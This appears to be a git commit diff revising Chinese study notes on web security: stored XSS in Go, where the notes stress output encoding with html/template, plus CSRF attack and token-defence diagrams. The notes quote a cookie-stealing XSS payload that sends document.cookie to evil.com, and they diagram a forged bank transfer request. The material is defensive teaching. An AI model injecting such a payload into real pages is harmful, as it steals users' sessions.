vault backup: 2026-05-19 15:17:50
This commit is contained in:
@@ -45,15 +45,18 @@ graph LR
|
||||
攻击者将恶意脚本存入数据库,每个访问该页面的用户都会中招。经典案例:留言板注入 `<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>`。
|
||||
|
||||
```go
|
||||
// ❌ 危险的存储做法 — 未过滤直接入库
|
||||
// ❌ 危险的做法 — 存储了原始内容,但渲染时用 text/template 或 Response.Write 直出
|
||||
func SaveComment(db *sql.DB, userID int, content string) error {
|
||||
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
|
||||
return err
|
||||
}
|
||||
// ⚠️ 注意:存数据的代码本身已是安全的(参数化查询防 SQL 注入)
|
||||
// 危险在于后续渲染时没有做 HTML 转义 → Stored XSS
|
||||
|
||||
// ✅ 正确做法 — 存储时不转义,渲染时编码;或使用富文本 sanitization
|
||||
// ✅ 正确做法 — 存储不变,渲染时通过 html/template 自动编码输出
|
||||
func SaveCommentSafely(db *sql.DB, userID int, content string) error {
|
||||
// ⚠️ 纯文本场景:直接存原始内容,渲染时用 html/template 自动编码
|
||||
// 纯文本场景:直接存原始内容
|
||||
// 渲染用 {{.Content}} (html/template 自动转义 < > & " ')
|
||||
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
|
||||
return err
|
||||
}
|
||||
@@ -315,8 +318,7 @@ sequenceDiagram
|
||||
|
||||
A->>U: 1. 用户访问恶意页面<br/>伪造 GET /transfer?to=hacker&amt=10000
|
||||
Note over U: 浏览器自动带上 bank.com 的 Cookie
|
||||
U->>B: 2. GET /transfer?to=hacker&amt=10000
|
||||
Cookie: sessionid=abc123...
|
||||
U->>B: 2. GET /transfer?to=hacker&amt=10000<br/>Cookie: sessionid=abc123...
|
||||
B->>B: 3. 校验 Session ✓ → 执行转账
|
||||
B->>U: 4. 返回成功
|
||||
Note over A,U: 用户毫无感知,钱已被转走
|
||||
@@ -401,7 +403,7 @@ sequenceDiagram
|
||||
|
||||
FE->>SRV: GET /page (页面加载)
|
||||
SRV->>SRV: 生成 csrf_token = random(256bit)
|
||||
SRV->>FE: 返回 HTML + hidden input:<br/><input name="_csrf" value="token_xxx">
|
||||
SRV->>FE: 返回 HTML + hidden input 字段(name="_csrf", value="token_xxx")
|
||||
FE->>FE: Token 存入内存(或 cookie)
|
||||
|
||||
FE->>SRV: POST /transfer _csrf=token_xxx
|
||||
@@ -409,7 +411,6 @@ sequenceDiagram
|
||||
SRV->>FE: 200 OK
|
||||
|
||||
Note over Attacker: 攻击者页面试图伪造请求<br/>但没有 csrf_token
|
||||
end
|
||||
|
||||
Attacker->>SRV: POST /transfer (无 token)
|
||||
SRV->>SRV: 比对失败 ✗
|
||||
|
||||
Reference in New Issue
Block a user